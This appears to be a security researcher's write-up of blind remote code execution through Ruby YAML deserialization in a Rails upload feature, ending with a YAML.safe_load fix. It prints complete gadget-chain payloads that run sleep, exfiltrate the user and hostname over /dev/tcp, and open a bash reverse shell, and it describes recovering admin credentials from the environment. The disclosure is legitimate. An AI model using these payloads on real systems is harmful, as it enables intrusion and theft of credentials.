Blind Remote Code Execution through YAML Deserialization
While performing an application security assessment on a Ruby on Rails project, I discovered upload functionality that allowed users to upload text, CSV, and YAML files. The latter option interested me because reading online suggested YAML deserialization could be a potential vector.
After a few uploads, I understood that the upload process would validate the file contents and upload the file to Azure blob storage. I noticed YAML files with ---!ruby/object:BadValue as the first line returned a fatal status whereas other bad YAML files would return an error status. The fatal status was my only indicator that the upload may be vulnerable.
A few researchers in the past discovered some interesting gadget chains in Ruby that could lead to code execution and was found from the following GitHub Gist: Ruby YAML Exploits
I tried the Gem::Requirement gadget chain with the nslookup and curl command to Burp collaborator but didn't receive any DNS lookup. As the first chain didn't work, the next gadget chain Gem::Installer was tried with the same commands. Again no DNS lookup came back.
After a few hours and attempts, I decided to try the sleep command for 10 minutes with the Gem::Installer chain.
--- - !ruby/object:Gem::Installer i: x - !ruby/object:Gem::SpecFetcher i: y - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: sleep 600 method_id: :resolve
When I uploaded the above YAML file, the status icon was in the loading animation for 10 minutes confirming the sleep command ran successfully.
Finally a success after many failed attempts! Unfortunately the sleep command doesn't offer much in terms of demonstrating impact but was useful to confirm code could be executed. The sleep command could be used to exfiltrate data using a Bash if condition listed below but that would be time consuming and tedious.
if [ -f /etc/passwd ]; then sleep 5; fi
After some more thinking, I decided to try the bash -c command echoing to /dev/tcp/remote-server/443 to see if I would get a DNS lookup. Surprisingly, I did get a DNS lookup and was able to exfiltrate out the user and server hostname.
--- - !ruby/object:Gem::Installer i: x - !ruby/object:Gem::SpecFetcher i: y - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: "bash -c 'echo 1 > /dev/tcp/`whoami`.`hostname`.wkkib01k9lsnq9qm2pogo10tmksagz.burpcollaborator.net/443'" method_id: :resolve
Looking at the server hostnames, I noticed they changed constantly after re-uploading the same file. I felt like there wasn't much impact here as an Azure Serverless function or some type of worker was being spun up. The only way I could confirm whether there might be good impact is if I can view the environment variables for sensitive information in this situation.
I decided to try a reverse shell on port 443 as that port is less likely to be filtered outbound using the following YAML file.
--- - !ruby/object:Gem::Installer i: x - !ruby/object:Gem::SpecFetcher i: y - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: "bash -c 'bash -i >& /dev/tcp/reverseshell.stratumsecurity.com/443 0>&1'" method_id: :resolve
Success! A reverse shell was provided to me and I ran printenv which confirmed sensitive information such as Keycloak admin credentials, Redis and Azure DB details, etc....
The server was not an Azure function apparently but was a Kubernetes pod; most likely using Azure Kubernetes. Using the Keycloak admin credentials, I confirmed I could log into Keycloak's master realm as the admin user by using the URL:
https://redacted.com/auth/realms/master/protocol/openid-connect/auth?client_id=account-console&redirect_uri=https%3A%2F%2Fredacted.com%2Fauth%2Frealms%2Fmaster%2Faccount%2F&state=:stateUUID&response_mode=fragment&response_type=code&scope=openid&nonce=:nonceUUID&code_challenge=:challengeValue&code_challenge_method=S256
The state UUID, nonce UUID, and code challenge values came from the web application realm.
The report was sent immediately as the impact was high and the remediation suggested was replacing Ruby's YAML.load() with YAML.safe_load() as YAML.load() was most likely the culprit with this finding.
References:
https://ruby-doc.org/stdlib-2.6.1/libdoc/psych/rdoc/Psych.html
https://www.elttam.com/blog/ruby-deserialization/
https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html